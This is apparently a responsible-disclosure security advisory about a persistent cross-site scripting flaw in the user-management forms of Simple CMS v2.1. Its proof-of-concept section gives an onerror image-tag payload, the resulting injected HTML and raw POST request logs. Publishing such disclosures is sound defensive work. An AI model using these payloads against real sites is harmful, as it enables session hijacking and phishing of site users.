Document Title:  
Simplephpscripts Simple CMS v2.1 - Persistent Vulnerability  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Vulnerability Class:  
Cross Site Scripting - Persistent  
Current Estimated Price:  
500€ - 1.000€  
Product & Service Introduction:  
The system could be used only in already existing websites to control their page sections and contents.  
Just paste a single line of code on your web page section and start controlling it through the admin area.  
Very simple installation - one step installation wizard. Option to include contents into web page sections  
through php include, javascript or iframe embed. Any language support. WYSIWYG(text) editor to styling and  
format contents of the sections. Suitable for web designers who work with Mobirise, Xara and other web builders.  
(Copy of the Homepage: )  
Abstract Advisory Information:  
The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the Simplephpscripts Simple CMS v2.1 web-application.  
Affected Product(s):  
Product: Simple CMS v2.1 - Content Management System (Web-Application)  
Vulnerability Disclosure Timeline:  
2021-09-03: Researcher Notification & Coordination (Security Researcher)  
2021-09-04: Vendor Notification (Security Department)  
2021-**-**: Vendor Response/Feedback (Security Department)  
2021-**-**: Vendor Fix/Patch (Service Developer Team)  
2021-**-**: Security Acknowledgements (Security Department)  
2021-10-19: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Exploitation Technique:  
Severity Level:  
Authentication Type:  
Full Authentication (Admin/Root Privileges)  
User Interaction:  
Low User Interaction  
Disclosure Type:  
Responsible Disclosure  
Technical Details & Description:  
A persistent input validation web vulnerability has been discovered in the Simplephpscripts Simple CMS v2.1 web-application.  
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise  
browser to web-application requests from the application-side.  
The persistent cross site web vulnerability is located in `name`, `username`, `password` parameters of the `newUser`  
or `editUser` modules. Remote attackers with privileged application user account and panel access are able to inject  
own malicious script code as credentials. The injected code executes on preview of the users list. The request method  
to inject is post and the attack vector is persistent.  
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent  
external redirects to malicious source and persistent manipulation of affected application modules.  
Request Method(s):  
[+] POST  
Vulnerable Module(s):  
[+] newUser  
[+] editUser  
Vulnerable File(s):  
[+] admin.php?act=users  
Vulnerable Input(s):  
[+] Name  
[+] Username  
[+] Password  
Vulnerable Parameter(s):  
[+] name  
[+] username  
[+] password  
Affected Module(s):  
[+] Users (act=users) (Backend)  
Proof of Concept (PoC):  
The persistent input validation web vulnerability can be exploited by remote attackers with privileged account and with low user interaction.  
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.  
PoC: Payload  
"><img src='31337'onerror=alert(0)></img>  
Vulnerable Source: admin.php?act=users  
<td class="headlist"><a href="admin.php?act=users&orderType=DESC&orderBy=name">Name</a></td>  
<td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=email">Email</a></td>  
<td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=username">Username</a></td>  
<td class="headlist" width="23%">Password</td>  
<td class="headlist" colspan="2">&nbsp;</td>  
<td class="bodylist">c"><img src='31337'onerror=alert(0)></img></td>  
<td class="bodylist"></td>  
<td class="bodylist">d"><img src='31337'onerror=alert(0)></img></td>  
<td class="bodylist">e"><img src='31337'onerror=alert(0)></img></td>  
<td class="bodylistAct"><a href="admin.php?act=editUser&id=7" title="Edit"><img class="act" src="images/edit.png" alt="Edit"></a></td>  
<td class="bodylistAct"><a class="delete" href="admin.php?act=delUser&id=7" onclick="return confirm('Are you sure you want to delete it?');"  
title="DELETE"><img class="act" src="images/delete.png" alt="DELETE"></a></td>  
--- PoC Session Logs (POST) [Create] ---  
Host: simple-cms.localhost:8000  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 141  
Origin: https://simple-cms.localhost:8000  
Connection: keep-alive  
Referer: https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser  
Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23  
act=addUser&name=c"><img src='31337'onerror=alert(0)></img>&  
&username=d"><img src='31337'onerror=alert(0)></img>  
&password=e"><img src='31337'onerror=alert(0)></img>&submit=Add User  
POST: HTTP/2.0 200 OK  
server: Apache  
content-length: 5258  
content-type: text/html; charset=UTF-8  
Host: simple-cms.localhost:8000  
Accept: image/webp,*/*  
Connection: keep-alive  
Referer: https://simple-cms.localhost:8000/simplecms/admin.php  
Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23  
GET: HTTP/2.0 200 OK  
server: Apache  
content-length: 196  
content-type: text/html; charset=iso-8859-1  
Credits & Authors:  
Vulnerability-Lab [Research Team] -  
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